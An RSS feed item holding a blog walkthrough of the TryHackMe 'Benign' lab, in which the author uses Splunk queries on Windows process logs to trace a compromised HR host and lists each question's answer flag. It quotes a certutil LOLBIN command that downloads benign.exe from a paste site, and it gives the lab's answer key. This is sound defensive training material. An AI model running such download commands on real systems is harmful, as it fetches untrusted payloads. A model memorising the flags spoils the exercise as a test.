<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Splunk on Roduygo | Blog</title><link>/tags/splunk/</link><description>Recent content in Splunk on Roduygo | Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sun, 23 Aug 2026 23:40:00 +0700</lastBuildDate><atom:link href="/tags/splunk/index.xml" rel="self" type="application/rss+xml"/><item><title>Benign - TryHackMe Walkthrough</title><link>/post/benign/</link><pubDate>Sun, 23 Aug 2026 23:40:00 +0700</pubDate><guid>/post/benign/</guid><description>&lt;p&gt;One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index &lt;code&gt;win_eventlogs&lt;/code&gt; for further investigation.&lt;/p&gt;
&lt;h2 id="network-information"&gt;Network Information
&lt;/h2&gt;&lt;p&gt;The network is divided into three logical segments. It will help in the investigation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IT Department:&lt;/strong&gt; James, Moin, Katrina&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HR department:&lt;/strong&gt; Haroon, Chris, Diana&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Marketing department:&lt;/strong&gt; Bell, Amelia, Deepak&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-1-connect-and-setup-lab"&gt;Task 1: Connect and Setup Lab
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;(No questions for this task)&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="task-2-investigation-questions"&gt;Task 2: Investigation Questions
&lt;/h2&gt;&lt;h3 id="1-how-many-logs-are-ingested-from-the-month-of-march-2022"&gt;1. How many logs are ingested from the month of March, 2022?
&lt;/h3&gt;&lt;p&gt;Easy to find, set date from &lt;code&gt;01/03/2022&lt;/code&gt; up to now.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; 13959&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="2-imposter-alert-there-seems-to-be-an-imposter-account-observed-in-the-logs-what-is-the-name-of-that-user"&gt;2. Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?
&lt;/h3&gt;&lt;p&gt;When addressing this question, I briefly checked the list of usernames and tried a few, but without success; we need to filter out all the usernames present in this log to be able to detect them.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-splunk" data-lang="splunk"&gt;index=&amp;#34;win_eventlogs&amp;#34; | stats count by UserName
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="268px" data-flex-grow="112" height="572" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/benign/image.png" width="641"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; Amel1a&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="3-which-user-from-the-hr-department-was-observed-to-be-running-scheduled-tasks"&gt;3. Which user from the HR department was observed to be running scheduled tasks?
&lt;/h3&gt;&lt;p&gt;When filtering events related to the schedule, I identified four users; however, one user had only a single event. This appears quite unusual, given that schedules are typically used frequently, whereas malware often requires only a single instance of persistence.
&lt;img class="gallery-image" data-flex-basis="1170px" data-flex-grow="487" height="124" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/benign/image2.png" width="605"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-splunk" data-lang="splunk"&gt;index=&amp;#34;win_eventlogs&amp;#34; schtasks UserName=&amp;#34;Chris.fort&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When examining this user&amp;rsquo;s logs, it appears there was an attempt to keep the &lt;code&gt;update.exe&lt;/code&gt; application running—and fortunately, that name turned out to be the flag.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; Chris.fort&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="4-which-user-from-the-hr-department-executed-a-system-process-lolbin-to-download-a-payload-from-a-file-sharing-host"&gt;4. Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.
&lt;/h3&gt;&lt;p&gt;First, we will attempt to search for outputs related to the HR department&amp;rsquo;s hostname, then, we can examine the commands that were executed specifically focusing on one-time commands, as the problem statement implies the malware typically requires only a single download.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="297px" data-flex-grow="124" height="485" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/benign/image3.png" width="602"&gt;&lt;/p&gt;
&lt;p&gt;When I looked through these commands, I was quite surprised to find one that seemed very suspicious: a &lt;code&gt;certutil&lt;/code&gt; command to the control domain with the &lt;code&gt;-f&lt;/code&gt; parameter.
&lt;img class="gallery-image" data-flex-basis="562px" data-flex-grow="234" height="386" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/benign/image4.png" srcset="/post/benign/image4_hu_3283ce9e547af78d.png 800w, /post/benign/image4.png 905w" width="905"&gt;&lt;/p&gt;
&lt;p&gt;Now we just need to investigate exactly who carried it out.
&lt;img class="gallery-image" data-flex-basis="395px" data-flex-grow="164" height="576" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/benign/image5.png" srcset="/post/benign/image5_hu_73eb4cc7a4ee7f1d.png 800w, /post/benign/image5.png 949w" width="949"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; haroon&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="5-to-bypass-the-security-controls-which-system-process-lolbin-was-used-to-download-a-payload-from-the-internet"&gt;5. To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?
&lt;/h3&gt;&lt;p&gt;We will delve into an analysis of the command in the sentence above to find out:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;certutil.exe&lt;/code&gt; is a legitimate, built-in Windows tool primarily responsible for managing, verifying, and configuring security certificates.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-urlcache&lt;/code&gt;: Connects to a specified URL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-split&lt;/code&gt;: Extracts the retrieved data and forces the system to save it as a separate physical file on the hard drive. &lt;em&gt;(Note: The flag &lt;code&gt;-split&lt;/code&gt; wasn&amp;rsquo;t in the command above but is commonly used with certutil)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; certutil.exe&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="6-what-was-the-date-that-this-binary-was-executed-by-the-infected-host-format-yyyy-mm-dd"&gt;6. What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)
&lt;/h3&gt;&lt;p&gt;For the following questions, the answers are quite easy to find in the log above.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; 2022-03-04&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="7-which-third-party-site-was-accessed-to-download-the-malicious-payload"&gt;7. Which third-party site was accessed to download the malicious payload?
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; controlc.com&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="8-what-is-the-name-of-the-file-that-was-saved-on-the-host-machine-from-the-c2-server-during-the-post-exploitation-phase"&gt;8. What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; benign.exe&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="9-the-suspicious-file-downloaded-from-the-c2-server-contained-malicious-content-with-the-pattern-thm-what-is-that-pattern"&gt;9. The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{&amp;hellip;&amp;hellip;&amp;hellip;.}; what is that pattern?
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; THM{KJ&amp;amp;*H^B0}&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="10-what-is-the-url-that-the-infected-host-connected-to"&gt;10. What is the URL that the infected host connected to?
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;a class="link" href="https://controlc.com/e4d11035" target="_blank" rel="noopener"
 &gt;https://controlc.com/e4d11035&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Thank you for reading my blog, see you later!&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>